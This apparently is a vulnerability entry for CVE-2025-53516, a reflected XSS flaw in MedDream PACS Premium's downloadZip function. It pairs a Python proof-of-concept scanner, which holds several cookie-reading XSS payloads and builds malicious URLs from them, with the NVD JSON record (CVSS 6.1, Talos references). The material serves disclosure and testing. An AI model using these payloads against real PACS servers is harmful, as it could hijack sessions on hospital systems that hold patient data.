CVE-2025-53516

import requests import urllib.parse # CVE-2025-53516 PoC - Reflected XSS in MedDream PACS Premium downloadZip # Target: MedDream PACS Premium 7.3.6.870 def generate_xss_payload(): """Generate XSS payload for downloadZip parameter""" payloads = [ "<script>alert(document.cookie)</script>", "<img src=x onerror=alert('XSS')>", "<svg onload=alert(document.domain)>", "javascript:alert(document.cookie)" ] return payloads def test_reflected_xss(base_url): """ Test for reflected XSS in downloadZip functionality Replace 'downloadZip' parameter value with XSS payload """ payloads = generate_xss_payload() for payload in payloads: # Encode payload for URL encoded_payload = urllib.parse.quote(payload) # Construct malicious URL # Typical pattern: /downloadZip?file=PAYLOAD or similar parameter malicious_url = f"{base_url}/downloadZip?param={encoded_payload}" print(f"Testing payload: {payload}") print(f"Malicious URL: {malicious_url}") try: response = requests.get(malicious_url, timeout=10) # Check if payload is reflected in response if payload in response.text or encoded_payload in response.text: print(f"[+] VULNERABLE! Payload reflected in response") print(f"[*] Status code: {response.status_code}") return True else: print(f"[-] Payload not reflected") except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": # Replace with actual target URL target = "https://vulnerable-server.com/meddream" test_reflected_xss(target)

{"cve": {"id": "CVE-2025-53516", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:16:58.470", "lastModified": "2026-01-29T15:23:39.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (xss) vulnerability exists in the downloadZip functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious url can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en la funcionalidad downloadZip de MedDream PACS Premium 7.3.6.870. Una URL maliciosa especialmente diseñada puede llevar a la ejecución de código JavaScript arbitrario. Un atacante puede proporcionar una URL diseñada para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2254", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2254", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}